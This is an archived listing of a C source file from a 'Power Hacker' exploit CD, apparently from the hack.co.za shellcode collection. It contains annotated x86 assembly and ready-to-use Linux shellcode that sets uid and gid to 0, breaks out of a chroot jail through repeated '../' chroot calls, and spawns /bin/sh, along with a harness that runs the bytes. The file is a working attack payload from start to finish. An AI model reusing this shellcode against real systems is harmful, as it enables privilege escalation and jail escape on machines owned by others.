home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / linux-x86 / chroot.c < prev    next >
Encoding:
C/C++ Source or Header  |  1999-12-04  |  2.0 KB  |  78 lines

  1. /*
  2. .file "chroot"
  3. .version "01.01"
  4. .globl main
  5.     .type main,@function
  6. main :
  7.     pushl %ebp              # shcode recognition
  8.     #init
  9.     movl %esp,%ebp          # save stackpointer
  10.     xorl %eax,%eax          
  11.     xorl %ebx,%ebx          # reset the registers
  12.     xorl %ecx,%ecx
  13.     
  14.     # setuid(0);
  15.     movb $0x17,%al          # 0x17 = SYS_setuid
  16.     int  $0x80
  17.     
  18.     # setgid(0);
  19.     movb $0x2e,%al          # 0x2e = SYS_setgid
  20.     int  $0x80
  21.     
  22.     # mkdir("sh");
  23.     jmp  0x39
  24.     popl %esi               # get the address of our string
  25.     movb $0x27,%al          # 0x27 = SYS_mkdir
  26.     leal 0x5(%esi),%ebx     # string location
  27.     movb $0xed,%cl          # mode
  28.     int  $0x80
  29.     
  30.     # chroot("sh");
  31.     # string addy is in %ebx
  32.     movb $0x3d, %al         # 0x3d = SYS_chroot
  33.     int  $0x80
  34.     
  35.     # construct string "../../../../../../../../../../"
  36.     movl $0xff2f2e2e,%edx   # "../"
  37.     leal 0x4(%ebp),%ebx     # save addy of the new string
  38.     movb $0x10,%cl          # set the counter
  39.     movl %edx,0x4(%ebp)     # construct the string
  40.     addl $0x3,%ebp
  41.     loopne  -0x8
  42.     movl %ecx,0x4(%ebp)        # put in a NULL
  43.     
  44.     # chroot("../../../../../../../../../../");
  45.     movb $0x3d,%al          # Ox3d = SYS_chroot
  46.     int  $0x80
  47.     
  48.     # arg[0] = "/bins/sh";
  49.     # arg[1] = 0x0
  50.     # execve(arg[0],arg);
  51.     movl %esi,%ebx
  52.     movl %esi,0x8(%ebp)
  53.     movl %ecx,0xc(%ebp)
  54.     movb $0xb,%al
  55.     leal 0x8(%ebp),%ecx
  56.     leal 0xc(%ebp),%edx
  57.     int  $0x80
  58.     
  59.     call -0x3e
  60.     .string "/bin/sh"    # doesn't have to be in here
  61. */
  62.  
  63. #define CODESIZE 88
  64. #define NAME "setuid,break-chroot,exec-shell"
  65. char code[]=
  66. "\x55\x89\xe5\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"
  67. "\xeb\x39\x5e\xb0\x27\x8d\x5e\x05\xb1\xed\xcd\x80\xb0\x3d\xcd\x80\xba"
  68. "\x2e\x2e\x2f\xff\x8d\x5d\x04\xb1\x10\x89\x55\x04\x83\xc5\x03\xe0\xf8"
  69. "\x89\x4d\x04\xb0\x3d\xcd\x80\x89\xf3\x89\x75\x08\x89\x4d\x0c\xb0\x0b"
  70. "\x8d\x4d\x08\x8d\x55\x0c\xcd\x80\xe8\xc2\xff\xff\xff/bin/sh";
  71. main()
  72. {
  73.   int (*funct)();
  74.   funct = (int (*)()) code;
  75.   printf("%s shellcode\n\tSize = %d\n",NAME,strlen(code));
  76.   (int)(*funct)();
  77. }
  78.